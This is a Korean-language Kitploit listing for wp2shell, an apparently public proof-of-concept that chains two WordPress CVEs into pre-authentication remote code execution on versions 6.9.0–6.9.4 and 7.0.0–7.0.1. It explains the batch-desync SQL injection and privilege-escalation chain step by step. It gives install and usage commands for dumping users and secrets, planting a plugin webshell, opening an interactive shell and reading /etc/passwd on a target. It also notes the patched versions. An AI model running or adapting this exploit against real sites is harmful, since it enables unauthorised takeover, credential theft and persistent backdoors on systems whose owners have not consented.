Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
wp2shell — CVE-2026-63030 + CVE-2026-60137용 PoC, 일명 WP2Shell | Kitploit
도구/GitHubGitHub/crypto-cat/wp2shell
Vulnerability ScannersCode AnalysisExploitationWeb SecurityLearning & Education
GitHubcrypto-cat/wp2shell

wp2shell

CVE-2026-63030 + CVE-2026-60137용 PoC, 일명 WP2Shell

저장소 보기
3752개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

wp2shell

WordPress 6.9.0–6.9.4 및 7.0.0–7.0.1에 대한 인증 전 원격 코드 실행입니다.

CVE-2026-63030(배치 경로 혼동 SQLi)을 CVE-2026-60137(커스터마이저 체인지셋 재진입)과 연결하여 인증 없는 관리자 생성 및 OS 명령 실행을 달성합니다. 비밀번호 크래킹이 필요 없습니다.

wp2shell 데모

이 발견은 hashkitten의 공로입니다. 전체 SLCyber 기술 분석은 여기에서 읽을 수 있습니다.

취약점

WordPress의 REST API 배치 프로세서(serve_batch_request_v1)에는 off-by-one 인덱싱 버그가 있습니다: wp_parse_url()이 하위 요청 경로에서 실패하면 결과로 생성된 WP_Error가 $validation[]에는 푸시되지만 $matches[]에는 푸시되지 않습니다. 이로 인해 두 배열의 동기화가 깨지며, 이후의 모든 요청이 잘못된 핸들러로 디스패치됩니다.

신중하게 구조화된 배치를 다른 배치 안에 중첩시킴으로써 공격자는 다음을 수행할 수 있습니다:

  1. 한 엔드포인트의 스키마로 검증된 요청을 완전히 다른 엔드포인트의 콜백으로 라우팅
  2. author__not_in을 통해 검증되지 않은 SQL 주입 (string→array 캐스트가 absint()를 건너뜀)
  3. UNION SELECT를 사용해 가짜 포스트 객체로 WordPress 객체 캐시를 오염
  4. 권한을 상승시키는 체인지셋 자동 게시를 트리거한 다음 관리자 컨텍스트로 REST API 재진입

설정이 완료되면(테이블 접두사 및 관리자 ID 발견) 에스컬레이션 페이로드가 단일 HTTP 요청으로 발사됩니다. 캐시 오염, 권한 상승, 사용자 생성이 모두 서버 측에서 한 번의 왕복으로 발생합니다.

체인 작동 방식

HTTP POST /batch/v1
    │
    ▼
┌─ Outer Batch ───────────────────────────────────────────────────────┐
│                                                                     │
│  [0] ///                  → parse error, not added to $matches      │
│  [1] POST /wp/v2/posts    → $matches[0] (posts handler)             │
│  [2] POST /batch/v1       → $matches[1] (batch handler)             │
│                                                                     │
│  Desync: request[1] dispatched via $matches[1]                      │
│          POST /wp/v2/posts body interpreted as batch → inner fires  │
│                                                                     │
└──────────────────────────────────────┬──────────────────────────────┘
                                       │
    ┌──────────────────────────────────┘
    ▼
┌─ Inner Batch ───────────────────────────────────────────────────────┐
│                                                                     │
│  [0] ///                            → parse error (desync)          │
│  [1] GET  /wp/v2/widgets?UNION...   → dispatched by posts handler   │
│          ▲ WP_Query fires UNION, poisons object cache               │
│          ▲ the_content renders [embed] → oEmbed → hierarchy Loop 1  │
│              → changeset published → admin context set              │
│              → nav_menu_item UPDATE → hierarchy Loop 2              │
│                  → parse_request → REST re-entry ─────────────┐     │
│                                                               │     │
│  [2] GET  /wp/v2/posts              (categories handler)      │     │
│  [3] GET  /wp/v2/categories         (users handler)           │     │
│  [4] POST /wp/v2/users  {body}  ◄── re-entry with admin ──────┘     │
│          ▲ desync aligns this with users handler                    │
│          ▲ admin context → user created → die()                     │
│  [5] POST /wp/v2/users  {}          (desync spacer)                 │
│                                                                     │
└─────────────────────────────────────────────────────────────────────┘

캐시 오염 (UNION을 통한 가짜 포스트 7개):

  • 콘텐츠에 [embed] 숏코드가 있는 트리거 포스트
  • 체인지셋 포스트 (customize_changeset, 상태 future, 과거 날짜)
  • 외부 루프 파트너 (parent=changeset, 루프 1 생성)
  • oEmbed 대상 (동적 재귀 방지 ID, parent=changeset, 빈 콘텐츠)
  • 내비게이션 메뉴 항목 포스트 (is_nav_menu_item 검사를 위해 post_type=nav_menu_item으로 오염)
  • 재진입 포스트 (post_type=request, post_status=parse, parent=inner)
  • 내부 루프 파트너 (parent=re-entry, 루프 2 생성)

실행 흐름:

  1. UNION이 7개의 가짜 포스트로 객체 캐시를 오염
  2. 포스트 핸들러가 트리거 포스트의 콘텐츠를 렌더링 → [embed] 숏코드 발동
  3. oEmbed 캐시 조회가 빈 콘텐츠의 백킹 포스트를 찾음 → wp_update_post로 폴스루
  4. wp_update_post가 캐시된 체인지셋(parent=outer)을 읽음 → 계층 검사가 루프 1 감지
  5. 픽스업이 체인지셋을 future 상태로 DB에 기록 → 자동으로 publish로 변환
  6. _wp_customize_publish_changeset 발동 → wp_set_current_user(admin_id) → 관리자 컨텍스트 활성화
  7. 체인지셋이 nav_menu_item[real_id] 처리 — 캐시가 type=nav_menu_item으로 표시 → UPDATE 경로
  8. object_id가 post_parent=re-entry인 캐시된 포스트로 확인 → 실제 포스트에 대해 wp_update_post 실행
  9. 계층 검사(0이 아닌 $post_id)가 루프 2(re-entry ↔ inner) 감지
  10. 픽스업이 wp_update_post(re-entry) 호출 → type=request, status=parse를 DB에 기록
  11. wp_transition_post_status가 do_action("parse_request") 발동 → rest_api_loaded() → serve_request()
  12. REST API가 재진입하여 전체 배치를 관리자 권한으로 다시 처리
  13. 꼬리의 POST /wp/v2/users 성공 → 관리자 생성 → die()

재귀 방지 MySQL 세션 변수(@_wp2s)는 체인이 정확히 한 번만 발동하고 반복되지 않도록 보장합니다.

기능

  • 자동 감지가 포함된 3가지 추출 모드: UNION (값당 요청 1회), EXTRACTVALUE 기반 오류 (~요청당 30자), 부울 블라인드 이진 탐색 (~문자당 요청 7회)
  • 완전한 인증 전 RCE — 자격 증명 불필요, 크래킹 불필요, 에스컬레이션이 한 번의 왕복으로 발동
  • 자동 발견 — INFORMATION_SCHEMA를 통한 테이블 접두사, capabilities 메타를 통한 관리자 사용자 ID
  • 사후 익스플로잇 — 토큰 인증이 포함된 플러그인 웹셸, CWD 추적 대화형 셸, 파일 읽기/쓰기
  • 정리 모드 — --cleanup은 종료 시 생성된 사용자를 삭제하고 웹셸을 제거
  • 의존성 제로 — stdlib만 사용, 단일 파일, Python 3.8+에서 실행

설치

git clone https://github.com/Crypto-Cat/wp2shell.git
cd wp2shell
chmod +x wp2shell.py

pip install도 virtualenv도 필요 없습니다. 단일 파일입니다.

사용법

대상이 취약한지 확인

# Passive boolean oracle test
python3 wp2shell.py check http://target.com

# Also confirm with timing and UNION
python3 wp2shell.py check http://target.com --confirm-timing --confirm-union

데이터 추출

# Auto-selects fastest technique (UNION > error > blind)
python3 wp2shell.py read http://target.com --preset users
python3 wp2shell.py read http://target.com --preset secrets
python3 wp2shell.py read http://target.com --query "SELECT @@version"

# Force a specific technique
python3 wp2shell.py read http://target.com --technique blind --preset users

# Auto-discover table prefix
python3 wp2shell.py read http://target.com --auto-prefix --preset users

전체 익스플로잇

# Exploit and drop into interactive shell
python3 wp2shell.py exploit http://target.com -i

# Exploit, run one command, clean up
python3 wp2shell.py exploit http://target.com -c "cat /etc/passwd" --cleanup

# Skip auto-discovery if you know the prefix
python3 wp2shell.py exploit http://target.com --prefix wp_ --no-discover -i

# Through a proxy (Burp, mitmproxy, etc.)
python3 wp2shell.py exploit http://target.com --proxy http://127.0.0.1:8080 -i

인증된 셸 (기존 자격 증명 사용)

python3 wp2shell.py shell http://target.com --user admin --password 'P@ssw0rd' -i

전체 RCE 요구 사항

check 및 read 명령은 영향받는 모든 대상에서 작동합니다. exploit 체인에는 세 가지 추가 요구 사항이 있습니다:

요구 사항이유기본 WP?
게시된 포스트가 하나 이상oEmbed가 임베드 처리를 트리거하려면 로컬 URL이 필요합니다예 (Hello World)
영구 객체 캐시 없음UNION 행이 유지되려면 split-the-query가 비활성화되어야 합니다예 (파일 캐시 기본값)
REST API 접근 가능parse_request를 통한 재진입에는 REST 서버가 필요합니다예
직접 파일시스템 쓰기플러그인 업로드에는 FS_METHOD=direct 또는 wp-content를 소유한 PHP가 필요합니다예 (대부분의 호스트)

대상이 객체 캐시로 Redis 또는 Memcached를 사용하는 경우 per_page와 관계없이 split_the_query가 강제로 활성화되고, ID 전용 조회 중에 UNION 행이 폐기됩니다. read 명령은 여전히 작동하지만(블라인드 추출은 UNION이 캐시에 유지될 필요가 없음) exploit은 실패합니다.

영향받는 버전

브랜치취약 버전수정 버전
6.9.x6.9.0 – 6.9.46.9.5
7.0.x7.0.0 – 7.0.17.0.2

이 패치는 오류 케이스에 $matches[] = $single_request;를 추가하고(off-by-one 수정) serve_request()에 재진입 가드를 추가합니다.

아키텍처

도구 다운로드